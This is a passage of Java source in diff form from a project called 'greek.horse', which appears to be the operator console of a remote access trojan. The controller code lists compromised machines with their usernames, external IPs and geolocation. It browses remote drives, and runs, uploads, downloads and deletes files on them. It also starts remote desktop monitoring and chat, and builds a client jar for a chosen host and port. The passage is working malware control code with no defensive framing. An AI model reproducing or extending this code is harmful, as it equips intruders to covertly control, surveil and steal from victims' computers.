FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/horse.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
Scene scene = new Scene(root); |
|||
primaryStage.setScene(scene); |
|||
primaryStage.setResizable(true); |
|||
|
|||
primaryStage.show(); |
|||
controller = loader.getController(); |
|||
controller.setStage(primaryStage); |
|||
|
|||
primaryStage.setOnCloseRequest(e -> { |
|||
controller.stopServer(); |
|||
System.exit(1); |
|||
}); |
|||
|
|||
} catch (Exception ex) { |
|||
exceptionAlert(ex, primaryStage); |
|||
} |
|||
new Thread(() -> { |
|||
while (primaryStage.isShowing()) { |
|||
System.gc(); |
|||
try { |
|||
Thread.sleep(15 * 1000); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
}).start(); |
|||
} |
|||
|
|||
public static void exceptionAlert(Exception ex, Stage stage) { |
|||
log.error("exception alert: " + ex); |
|||
// ex.printStackTrace(); |
|||
Platform.runLater(() -> { |
|||
Alert alert = new Alert(Alert.AlertType.ERROR); |
|||
alert.setTitle("Exception Stack"); |
|||
alert.setHeaderText("An Exception was thrown"); |
|||
alert.setContentText("This is a very unusual and severe error. Please send the stack trace in the text box below to the developer, this helps to improve the tool."); |
|||
alert.initModality(Modality.APPLICATION_MODAL); |
|||
|
|||
if (stage != null) { |
|||
alert.initOwner(stage); |
|||
} |
|||
|
|||
StringWriter sw = new StringWriter(); |
|||
PrintWriter pw = new PrintWriter(sw); |
|||
ex.printStackTrace(pw); |
|||
String exceptionText = sw.toString(); |
|||
|
|||
Label label = new Label("The exception stacktrace was:"); |
|||
|
|||
TextArea textArea = new TextArea(exceptionText); |
|||
textArea.setEditable(false); |
|||
textArea.setWrapText(true); |
|||
|
|||
textArea.setMaxWidth(Double.MAX_VALUE); |
|||
textArea.setMaxHeight(Double.MAX_VALUE); |
|||
GridPane.setVgrow(textArea, Priority.ALWAYS); |
|||
GridPane.setHgrow(textArea, Priority.ALWAYS); |
|||
|
|||
GridPane expContent = new GridPane(); |
|||
expContent.setMaxWidth(Double.MAX_VALUE); |
|||
expContent.add(label, 0, 0); |
|||
expContent.add(textArea, 0, 1); |
|||
|
|||
alert.getDialogPane().setExpandableContent(expContent); |
|||
ex.printStackTrace(); |
|||
alert.showAndWait(); |
|||
System.exit(1); |
|||
}); |
|||
} |
|||
|
|||
private static void loadImages() { |
|||
try { |
|||
new JFXPanel(); // just to load internal components, i was getting some weird errors |
|||
|
|||
List<String> list = new ArrayList<>(); |
|||
|
|||
// Jar mode |
|||
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource(); |
|||
if (src != null) { |
|||
URL jar = src.getLocation(); |
|||
ZipInputStream zip = new ZipInputStream(jar.openStream()); |
|||
ZipEntry ze; |
|||
while ((ze = zip.getNextEntry()) != null) { |
|||
String entryName = ze.getName(); |
|||
if ((entryName.startsWith("images/flags") || entryName.startsWith("images/diverse")) |
|||
&& entryName.endsWith(".png")) { |
|||
list.add(entryName); |
|||
} |
|||
} |
|||
|
|||
} |
|||
list.forEach(s -> { |
|||
imgs.put(s.split("/")[2], new Image(s)); |
|||
}); |
|||
|
|||
//Debugger mode |
|||
if (list.isEmpty()) { |
|||
for (URL resource : |
|||
Arrays.asList(Test.class.getClassLoader().getResource("images/flags"), Test.class.getClassLoader().getResource("images/diverse"))) { |
|||
|
|||
File path = new File(resource.toURI()); |
|||
File[] files = path.listFiles(); |
|||
List<File> l = Arrays.asList(files); |
|||
for (File f : l) { |
|||
list.add(f.getPath()); |
|||
} |
|||
list.forEach(s -> { |
|||
imgs.put(s.split("\\\\")[s.split("\\\\").length - 1], new Image(new File(s).toURI().toString())); |
|||
}); |
|||
|
|||
} |
|||
|
|||
} |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error loading images: ", e); |
|||
} |
|||
} |
|||
|
|||
public static BufferedImage getImage(String imageName, double scale) { |
|||
try { |
|||
Optional<String> first = ChatApp.imgs.keySet().stream() |
|||
.filter(s -> s.toLowerCase(Locale.ROOT) |
|||
.contains(imageName |
|||
.toLowerCase(Locale.ROOT) |
|||
.replaceAll(" ", "-")) && s.contains(".") |
|||
).findFirst(); |
|||
if (first.isPresent()) { |
|||
String key = first.get(); |
|||
BufferedImage bufferedImage = SwingFXUtils |
|||
.fromFXImage(ChatApp.imgs.get(key), null); |
|||
return Thumbnails.of(bufferedImage) |
|||
.scale(scale) |
|||
.asBufferedImage(); |
|||
} else { |
|||
String key = ChatApp.imgs.keySet().stream().filter(s -> s.toLowerCase(Locale.ROOT).contains("notfound")).findFirst().get(); |
|||
BufferedImage bufferedImage = SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null); |
|||
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage(); |
|||
} |
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
log.error("Error treating image: ", e); |
|||
} |
|||
return null; |
|||
} |
|||
|
|||
public static BufferedImage getImage(String imageName, double scale, int x, int y, int w, int h) { |
|||
try { |
|||
Optional<String> first = ChatApp.imgs.keySet().stream() |
|||
.filter(s -> s.toLowerCase(Locale.ROOT) |
|||
.contains(imageName |
|||
.toLowerCase(Locale.ROOT) |
|||
.replaceAll(" ", "-")) && s.contains(".") |
|||
).findFirst(); |
|||
if (first.isPresent()) { |
|||
String key = first.get(); |
|||
BufferedImage bufferedImage = SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null).getSubimage(x, y, w, h); |
|||
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage(); |
|||
} else { |
|||
String key = ChatApp.imgs.keySet().stream().filter(s -> s.toLowerCase(Locale.ROOT).contains("notfound")).findFirst().get(); |
|||
BufferedImage bufferedImage = Thumbnails.of(SwingFXUtils.fromFXImage(ChatApp.imgs.get(key), null)).forceSize(w, h).asBufferedImage(); |
|||
return Thumbnails.of(bufferedImage).scale(scale).asBufferedImage(); |
|||
} |
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
log.error("Error treating image: ", e); |
|||
} |
|||
return null; |
|||
} |
|||
} |
@ -0,0 +1,13 @@ |
|||
package greek.horse.server.ui; |
|||
|
|||
import javafx.embed.swing.JFXPanel; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.URISyntaxException; |
|||
|
|||
public class Launcher { |
|||
public static void main(String[] args) throws URISyntaxException, IOException { |
|||
new JFXPanel(); |
|||
ChatApp.main(args); |
|||
} |
|||
} |
@ -0,0 +1,76 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.models.MessageType; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import javafx.application.Platform; |
|||
import javafx.event.ActionEvent; |
|||
import javafx.scene.control.ScrollPane; |
|||
import javafx.scene.control.TextField; |
|||
import javafx.scene.input.KeyCode; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.*; |
|||
import javafx.stage.Stage; |
|||
|
|||
public class ChatController { |
|||
public ScrollPane scrollPane; |
|||
public TextFlow textFlow; |
|||
public TextField textFieldMessage; |
|||
private TroyPlebe plebe; |
|||
private Stage stage; |
|||
|
|||
public void begin() { |
|||
scrollPane.vvalueProperty().bind(textFlow.heightProperty()); |
|||
textFieldMessage.setOnKeyPressed(e -> { |
|||
if (e.getCode().equals(KeyCode.ENTER)) { |
|||
sendMessage(); |
|||
} |
|||
}); |
|||
sendMessage("Connected"); |
|||
} |
|||
|
|||
private void sendMessage() { |
|||
sendMessage(textFieldMessage.getText()); |
|||
} |
|||
|
|||
private void sendMessage(String message) { |
|||
if (message.isEmpty()) { |
|||
return; |
|||
} |
|||
this.plebe.sendChatMessage(message); |
|||
addTextLine(MessageType.SELF, message, MessageType.SERVER); |
|||
textFieldMessage.setText(""); |
|||
} |
|||
|
|||
public void addTextLine(String name, String text, MessageType type) { |
|||
Text nameText = new Text(name); |
|||
Text messageText = new Text(" > " + text.replaceAll("\n", "").replaceAll("\r", "").concat("\n")); |
|||
|
|||
switch (type) { |
|||
case CLIENT -> nameText.setFill(Color.BLUE); |
|||
case SERVER -> nameText.setFill(Color.rgb(200, 0, 0)); |
|||
} |
|||
|
|||
nameText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16)); |
|||
messageText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16)); |
|||
|
|||
Platform.runLater(() -> { |
|||
textFlow.getChildren().addAll(nameText, messageText); |
|||
}); |
|||
} |
|||
|
|||
public void sendBtn(ActionEvent event) { |
|||
sendMessage(); |
|||
} |
|||
|
|||
public Stage getStage() { |
|||
return stage; |
|||
} |
|||
|
|||
public void setPlebe(TroyPlebe plebe) { |
|||
this.plebe = plebe; |
|||
} |
|||
|
|||
public void setStage(Stage stage) { |
|||
this.stage = stage; |
|||
} |
|||
} |
@ -0,0 +1,376 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.models.FileBrowserResponseWrapper; |
|||
import greek.horse.models.FileStruct; |
|||
import greek.horse.models.TableFile; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.ui.formmaters.FileRowsFactory; |
|||
import greek.horse.server.ui.formmaters.FormattedTableCellFactory; |
|||
import javafx.application.Platform; |
|||
import javafx.event.ActionEvent; |
|||
import javafx.scene.control.Label; |
|||
import javafx.scene.control.TextField; |
|||
import javafx.scene.control.*; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.scene.input.KeyCode; |
|||
import javafx.scene.input.KeyEvent; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.Font; |
|||
import javafx.scene.text.TextAlignment; |
|||
import javafx.stage.DirectoryChooser; |
|||
import javafx.stage.FileChooser; |
|||
import javafx.stage.Stage; |
|||
import javafx.util.Duration; |
|||
import org.apache.log4j.Logger; |
|||
import org.jetbrains.annotations.NotNull; |
|||
|
|||
import javax.swing.filechooser.FileSystemView; |
|||
import java.awt.*; |
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.util.ArrayList; |
|||
import java.util.List; |
|||
import java.util.Optional; |
|||
import java.util.stream.Collectors; |
|||
|
|||
public class FileBrowserController { |
|||
public TextField pathTextField; |
|||
public TableView<TableFile> listTable; |
|||
public TableView<TableFile> drivesTable; |
|||
|
|||
public TableColumn<TableFile, ImageView> iconDrivesColumn; |
|||
public TableColumn<TableFile, ImageView> iconListColumn; |
|||
public TableColumn<TableFile, String> nameDriveColumn; |
|||
public TableColumn<TableFile, String> nameListColumn; |
|||
public TableColumn<TableFile, String> sizeListColumn; |
|||
public TableColumn<TableFile, String> sizeDrivesColumn; |
|||
public Label statusLabel; |
|||
|
|||
private TroyPlebe plebe; |
|||
private Stage stage; |
|||
private final ArrayList<TableFile> knownFolders = new ArrayList<>(); |
|||
private Path tempFolder; |
|||
private Path actualPath; |
|||
private static final Logger log = Logger.getLogger(FileBrowserController.class); |
|||
private String title; |
|||
|
|||
public void loadFolder(Path dir) { |
|||
try { |
|||
Object future = this.plebe.getFiles(dir).getReceivedObj(); |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) future; |
|||
|
|||
if (setLabelFromWrapper(wrapper)) { |
|||
return; |
|||
} |
|||
pathTextField.setText(dir.toString()); |
|||
pathTextField.setDisable(false); |
|||
|
|||
List<TableFile> tableFilesList = getTableFileList(wrapper.getList()); |
|||
listTable.getItems().clear(); |
|||
|
|||
if (dir.getParent() != null) { |
|||
listTable.getItems().add(new TableFile(new FileStruct("..", 0, dir.getParent().toString(), false, true))); |
|||
} |
|||
this.actualPath = dir; |
|||
listTable.getItems().addAll(tableFilesList); |
|||
} catch (Exception e) { |
|||
log.error("Error loading folder: ", e); |
|||
setStatusLabel(e.getClass().getSimpleName() + ": " + e.getLocalizedMessage(), Color.RED); |
|||
} |
|||
} |
|||
|
|||
@NotNull |
|||
private List<TableFile> getTableFileList(List<FileStruct> list) { |
|||
return list.stream().map(TableFile::new).collect(Collectors.toList()); |
|||
} |
|||
|
|||
|
|||
private void loadDrives() { |
|||
try { |
|||
Object drives = this.plebe.getDrives().getReceivedObj(); |
|||
List<TableFile> drivesList = getTableFileList((List<FileStruct>) drives); |
|||
drivesTable.getItems().clear(); |
|||
drivesTable.getItems().addAll(drivesList); |
|||
} catch (Exception e) { |
|||
log.error("Error loading drives", e); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void runFromRow(TableRow<TableFile> row) { |
|||
try { |
|||
Object resp = this.plebe.runFile(getPathFromRow(row)).getReceivedObj(); |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) resp; |
|||
setLabelFromWrapper(wrapper); |
|||
} catch (Exception e) { |
|||
log.error("Error loading from row: ", e); |
|||
} |
|||
} |
|||
|
|||
public void uploadAction(Path path, boolean tryToGetParent) { |
|||
FileChooser chooser = new FileChooser(); |
|||
chooser.setTitle("Choose file to upload"); |
|||
chooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory()); |
|||
File file = chooser.showOpenDialog(stage); |
|||
|
|||
if (file == null) { |
|||
setStatusLabel("No file was chosen", Color.RED); |
|||
return; |
|||
} |
|||
|
|||
Path folder = path.getParent(); |
|||
if (!tryToGetParent || folder == null) { |
|||
folder = path; |
|||
} |
|||
|
|||
byte[] bytes; |
|||
try { |
|||
bytes = Files.readAllBytes(Path.of(file.toURI())); |
|||
} catch (IOException e) { |
|||
log.error("Error reading file: ", e); |
|||
return; |
|||
} |
|||
|
|||
try { |
|||
Object resp = this.plebe.uploadFile(folder, file.getName(), bytes).getReceivedObj(); |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) resp; |
|||
setLabelFromWrapper(wrapper); |
|||
|
|||
loadFromTextField(); |
|||
} catch (Exception e) { |
|||
log.error("Error uploading file: ", e); |
|||
} |
|||
} |
|||
|
|||
public void deleteFromRow(TableRow<TableFile> row) { |
|||
try { |
|||
Path path = getPathFromRow(row); |
|||
|
|||
if (getUserConfirmation(path.toString())) { |
|||
try { |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.deleteFile(path).getReceivedObj(); |
|||
setLabelFromWrapper(wrapper); |
|||
loadFromTextField(); |
|||
} catch (Exception e) { |
|||
log.error("Error deleting file: ", e); |
|||
} |
|||
} else { |
|||
setStatusLabel("Nothing done. Deletion aborted.", Color.BLACK); |
|||
} |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error deleting file", e); |
|||
} |
|||
} |
|||
|
|||
private void formatContent() { |
|||
drivesTable.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>())); |
|||
listTable.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>())); |
|||
|
|||
nameListColumn.setCellFactory(new FormattedTableCellFactory<>(TextAlignment.LEFT)); |
|||
nameDriveColumn.setCellFactory(new FormattedTableCellFactory<>(TextAlignment.LEFT)); |
|||
|
|||
iconDrivesColumn.setCellValueFactory(c -> { |
|||
// log.info(c.getValue()); |
|||
return c.getValue().iconProperty(); |
|||
}); |
|||
iconListColumn.setCellValueFactory(c -> c.getValue().iconProperty()); |
|||
|
|||
nameDriveColumn.setCellValueFactory(c -> c.getValue().nameProperty()); |
|||
nameListColumn.setCellValueFactory(c -> c.getValue().nameProperty()); |
|||
sizeListColumn.setCellValueFactory(c -> c.getValue().sizeProperty()); |
|||
sizeDrivesColumn.setCellValueFactory(c -> c.getValue().sizeProperty()); |
|||
|
|||
drivesTable.setRowFactory(new FileRowsFactory(this, true)); |
|||
listTable.setRowFactory(new FileRowsFactory(this, false)); |
|||
|
|||
statusLabel.setOnMouseEntered(event -> { |
|||
Tooltip tp = new Tooltip(statusLabel.getText()); |
|||
tp.setShowDuration(Duration.INDEFINITE); |
|||
tp.setShowDelay(Duration.ZERO); |
|||
tp.setFont(Font.font(14)); |
|||
statusLabel.setTooltip(new Tooltip(statusLabel.getText())); |
|||
}); |
|||
|
|||
loadDrives(); |
|||
gotoHUB(null); |
|||
} |
|||
|
|||
|
|||
private boolean setLabelFromWrapper(FileBrowserResponseWrapper wrapper) { |
|||
if (wrapper.isError()) { |
|||
setStatusLabel(wrapper.getDescription(), Color.RED); |
|||
return true; |
|||
} else { |
|||
setStatusLabel("OK", Color.BLACK); |
|||
return false; |
|||
} |
|||
} |
|||
|
|||
public void setStatusLabel(String text, Color color) { |
|||
Platform.runLater(() -> { |
|||
statusLabel.setText(text); |
|||
statusLabel.setTextFill(color); |
|||
}); |
|||
} |
|||
|
|||
public void begin() { |
|||
new Thread(this::formatContent).start(); |
|||
} |
|||
|
|||
public void loadFolderFromRow(TableRow<TableFile> row) { |
|||
try { |
|||
loadFolder(getPathFromRow(row)); |
|||
} catch (Exception e) { |
|||
log.error("Error loading from row: ", e); |
|||
} |
|||
} |
|||
|
|||
private Path getPathFromRow(TableRow<TableFile> row) { |
|||
return row.getItem().getPath(); |
|||
} |
|||
|
|||
public void enterDetection(KeyEvent keyEvent) { |
|||
if (keyEvent.getCode().equals(KeyCode.ENTER)) { |
|||
loadFromTextField(); |
|||
} |
|||
} |
|||
|
|||
public void loadFromTextField() { |
|||
loadFolder(actualPath); |
|||
} |
|||
|
|||
public void uploadFromRow(TableRow<TableFile> row) { |
|||
Path path; |
|||
boolean getParent; |
|||
try { |
|||
path = getPathFromRow(row); |
|||
getParent = true; |
|||
} catch (Exception e) { |
|||
log.warn("Failed to get row URI, using actualPath"); |
|||
|
|||
if (actualPath == null) { |
|||
log.error("Failed to upload file", e); |
|||
return; |
|||
} else { |
|||
path = actualPath; |
|||
getParent = false; |
|||
} |
|||
|
|||
} |
|||
uploadAction(path, getParent); |
|||
} |
|||
|
|||
public void gotoHUB(ActionEvent event) { |
|||
try { |
|||
if (knownFolders.size() != 0) { |
|||
listTable.getItems().clear(); |
|||
listTable.getItems().addAll(knownFolders); |
|||
} else { |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.getKnownFolders().getReceivedObj(); |
|||
listTable.getItems().clear(); |
|||
listTable.getItems().addAll(getTableFileList(wrapper.getList())); |
|||
knownFolders.addAll(getTableFileList(wrapper.getList())); |
|||
} |
|||
pathTextField.setText("HUB"); |
|||
actualPath = null; |
|||
} catch (Exception e) { |
|||
log.error("Error loading HUB: ", e); |
|||
} |
|||
} |
|||
|
|||
private boolean getUserConfirmation(String displayPath) { |
|||
Alert alert = new Alert(Alert.AlertType.CONFIRMATION); |
|||
alert.setTitle("Confirmation"); |
|||
alert.setHeaderText("Are you sure?"); |
|||
alert.setContentText("The file/directory \"" + displayPath + "\" will be permanently deleted."); |
|||
alert.initOwner(stage); |
|||
|
|||
alert.getButtonTypes().clear(); |
|||
alert.getButtonTypes().addAll(ButtonType.YES, ButtonType.CANCEL); |
|||
|
|||
Optional<ButtonType> buttonType = alert.showAndWait(); |
|||
return buttonType.isPresent() && buttonType.get().equals(ButtonType.YES); |
|||
} |
|||
|
|||
public void downloadFromRow(TableRow<TableFile> row) { |
|||
try { |
|||
Path path = getPathFromRow(row); |
|||
|
|||
DirectoryChooser chooser = new DirectoryChooser(); |
|||
chooser.setTitle("Choose folder to save"); |
|||
chooser.setInitialDirectory(FileSystemView.getFileSystemView().getHomeDirectory()); |
|||
File dir = chooser.showDialog(stage); |
|||
|
|||
if (dir == null) { |
|||
setStatusLabel("No folder was chosen", Color.RED); |
|||
return; |
|||
} |
|||
|
|||
downloadAction(path, Path.of(dir.toURI())); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error downloading file", e); |
|||
} |
|||
} |
|||
|
|||
private Path downloadAction(Path path, Path directoryUri) { |
|||
try { |
|||
FileBrowserResponseWrapper wrapper = (FileBrowserResponseWrapper) this.plebe.downloadFile(path).getReceivedObj(); |
|||
setLabelFromWrapper(wrapper); |
|||
|
|||
if (wrapper.isError()) { |
|||
return null; |
|||
} |
|||
Path file = Path.of(directoryUri.toString() + File.separator + this.title + " - " + wrapper.getFileData().getFileName()); |
|||
Files.write(file, wrapper.getFileData().getFileBytes()); |
|||
return file; |
|||
} catch (Exception e) { |
|||
log.error("Error downloading file: ", e); |
|||
} |
|||
return null; |
|||
} |
|||
|
|||
public void openFromRow(TableRow<TableFile> row) { |
|||
try { |
|||
Path path = getPathFromRow(row); |
|||
Path dir = getTempDir(); |
|||
|
|||
Path file = downloadAction(path, dir); |
|||
Desktop.getDesktop().open(file.toFile()); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Error opening file", e); |
|||
} |
|||
} |
|||
|
|||
private Path getTempDir() { |
|||
try { |
|||
if (this.tempFolder == null) { |
|||
this.tempFolder = Files.createTempDirectory("temp_"); |
|||
} |
|||
return tempFolder; |
|||
} catch (Exception e) { |
|||
log.error("Error getting temp folder: ", e); |
|||
return null; |
|||
} |
|||
} |
|||
|
|||
public Stage getStage() { |
|||
return stage; |
|||
} |
|||
|
|||
public void setStage(Stage stage) { |
|||
this.stage = stage; |
|||
} |
|||
|
|||
public void setPlebe(TroyPlebe plebe) { |
|||
this.plebe = plebe; |
|||
} |
|||
|
|||
public void setTitle(String title) { |
|||
this.title = title; |
|||
} |
|||
} |
@ -0,0 +1,405 @@ |
|||
package greek.horse.server.ui.controllers; |
|||
|
|||
import greek.horse.models.NetInfo; |
|||
import greek.horse.server.troyStructure.NetInfoTable; |
|||
import greek.horse.server.troyStructure.TroyPlebe; |
|||
import greek.horse.server.troyStructure.TroyServer; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.tasks.BuildJarTask; |
|||
import greek.horse.server.ui.controllers.tasks.FileBrowserTask; |
|||
import greek.horse.server.ui.formmaters.FormattedTableCellFactory; |
|||
import greek.horse.server.ui.formmaters.HorseRowFactory; |
|||
import javafx.collections.ListChangeListener; |
|||
import javafx.collections.ObservableList; |
|||
import javafx.event.ActionEvent; |
|||
import javafx.geometry.Insets; |
|||
import javafx.scene.control.*; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.scene.layout.*; |
|||
import javafx.scene.paint.Color; |
|||
import javafx.scene.text.*; |
|||
import javafx.stage.FileChooser; |
|||
import javafx.stage.Modality; |
|||
import javafx.stage.Stage; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import javax.swing.filechooser.FileSystemView; |
|||
import java.io.File; |
|||
import java.net.URL; |
|||
import java.security.CodeSource; |
|||
import java.util.ArrayList; |
|||
import java.util.Arrays; |
|||
import java.util.List; |
|||
import java.util.Locale; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
|
|||
public class HorseController { |
|||
|
|||
public TableColumn<NetInfoTable, String> userNameColumn; |
|||
public TableColumn<NetInfoTable, String> ipColumn; |
|||
public TableColumn<NetInfoTable, String> countryColumn; |
|||
public TableColumn<NetInfoTable, String> regionColumn; |
|||
public TableColumn<NetInfoTable, String> cityColumn; |
|||
public TableColumn<NetInfoTable, ImageView> flagColumn; |
|||
public TextField portStart; |
|||
public TableColumn<NetInfoTable, String> ispColumn; |
|||
public TableColumn<NetInfoTable, String> osColumn; |
|||
public TableView<NetInfoTable> tableView; |
|||
public TableColumn<NetInfoTable, String> bigOsColumn; |
|||
public TextField portBuild; |
|||
public TextField hostBuild; |
|||
public Button buildBtn; |
|||
public ToggleButton startBtn; |
|||
private Stage stage; |
|||
|
|||
private TroyServer troyServer; |
|||
|
|||
private static final Logger log = Logger.getLogger(HorseController.class); |
|||
private final ExecutorService threadPool = Executors.newCachedThreadPool(); |
|||
|
|||
public void startAction(ActionEvent actionEvent) { |
|||
ToggleButton b = (ToggleButton) actionEvent.getSource(); |
|||
if (!b.isSelected()) { |
|||
turnOff(b); |
|||
} else { |
|||
turnOn(b); |
|||
} |
|||
|
|||
} |
|||
|
|||
private void turnOff(ToggleButton b) { |
|||
b.setTextFill(Color.BLACK); |
|||
portStart.setDisable(false); |
|||
|
|||
stopServer(); |
|||
} |
|||
|
|||
public void stopServer() { |
|||
if (this.troyServer != null) { |
|||
this.troyServer.isActive().set(false); |
|||
this.troyServer.getPlebes().forEach(ple -> { |
|||
try { |
|||
ple.getDisconnect().getReceivedObjs(); // .getReceivedObjs() just locks the code here, since client wont answer if disconnected |
|||
} catch (Exception ignored) { |
|||
} |
|||
}); |
|||
this.troyServer.stop(); |
|||
} |
|||
} |
|||
|
|||
private void turnOn(ToggleButton b) { |
|||
String port = portStart.getText(); |
|||
portStart.setDisable(true); |
|||
|
|||
if (!port.matches("[0-9]+") || Integer.parseInt(port) > 65535 || Integer.parseInt(port) < 1) { |
|||
showDialog("An invalid port was chosen", "Ooops, looks like the port typed was invalid. Try again.", Alert.AlertType.ERROR); |
|||
b.setSelected(false); |
|||
portStart.setText(""); |
|||
portStart.setDisable(false); |
|||
return; |
|||
} |
|||
|
|||
b.setTextFill(Color.BLUE); |
|||
startServer(Integer.parseInt(port)); |
|||
|
|||
} |
|||
|
|||
private void startServer(int port) { |
|||
this.troyServer = new TroyServer(port, this); |
|||
threadPool.execute(this.troyServer); |
|||
System.gc(); |
|||
startTable(); |
|||
} |
|||
|
|||
private void startTable() { |
|||
ObservableList<TroyPlebe> plebeObservableList = this.troyServer.getPlebes(); |
|||
// for (int i = 0; i < 10; i++) { |
|||
// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi"))); |
|||
// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi"))); |
|||
// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi"))); |
|||
// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi"))); |
|||
// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi"))); |
|||
// } |
|||
|
|||
plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> { |
|||
while (lis.next()) { |
|||
lis.getAddedSubList().parallelStream().forEach(tp -> |
|||
threadPool.execute(() -> { |
|||
try { |
|||
NetInfo netInfo = (NetInfo) tp.getNetInfo().getReceivedObj(); |
|||
if (netInfo != null) { |
|||
tableView.getItems().add(new NetInfoTable(netInfo, tp)); |
|||
tp.setTitle(netInfo.getUserName() + "@" + netInfo.getExternalIP()); |
|||
} |
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} |
|||
})); |
|||
|
|||
ArrayList<NetInfoTable> nits = new ArrayList<>(); |
|||
lis.getRemoved().parallelStream().forEach(tp -> |
|||
tableView.getItems().parallelStream() |
|||
.filter(t -> t.getFather().equals(tp)) |
|||
.forEach(nits::add)); |
|||
nits.forEach(t -> tableView.getItems().remove(t)); |
|||
} |
|||
}); |
|||
|
|||
|
|||
formatTable(); |
|||
} |
|||
|
|||
private void formatTable() { |
|||
tableView.getColumns().forEach(c -> c.setCellFactory(new FormattedTableCellFactory<>())); |
|||
|
|||
flagColumn.setCellValueFactory(c -> c.getValue().imageProperty()); |
|||
userNameColumn.setCellValueFactory(c -> c.getValue().userNameProperty()); |
|||
ipColumn.setCellValueFactory(c -> c.getValue().ipProperty()); |
|||
countryColumn.setCellValueFactory(c -> c.getValue().countryProperty()); |
|||
regionColumn.setCellValueFactory(c -> c.getValue().regionProperty()); |
|||
cityColumn.setCellValueFactory(c -> c.getValue().cityProperty()); |
|||
ispColumn.setCellValueFactory(c -> c.getValue().ispProperty()); |
|||
osColumn.setCellValueFactory(c -> c.getValue().osProperty()); |
|||
bigOsColumn.setCellValueFactory(c -> c.getValue().bigOsProperty()); |
|||
|
|||
tableView.setRowFactory(new HorseRowFactory(this)); |
|||
} |
|||
|
|||
|
|||
public void showDialog(String headerText, String contentText, Alert.AlertType type) { |
|||
Alert alert = new Alert(type); |
|||
alert.setTitle(type.toString().substring(0, 1).toUpperCase() + type.toString().substring(1).toLowerCase(Locale.ROOT)); |
|||
alert.initOwner(this.stage); |
|||
alert.initModality(Modality.APPLICATION_MODAL); |
|||
|
|||
alert.setHeaderText(headerText); |
|||
alert.setContentText(contentText); |
|||
alert.showAndWait(); |
|||
} |
|||
|
|||
public void setStage(Stage stage) { |
|||
this.stage = stage; |
|||
} |
|||
|
|||
public void contextDesktop(TableRow<NetInfoTable> row) { |
|||
try { |
|||
TroyPlebe tp = row.getItem().getFather(); |
|||
boolean running = tp.getMonitorDesktopTask().getRunning().get(); |
|||
if (!running) { |
|||
tp.getMonitorDesktopTask().getRunning().set(true); |
|||
threadPool.execute(tp.getMonitorDesktopTask()); |
|||
} |
|||
} catch (Exception e) { |
|||
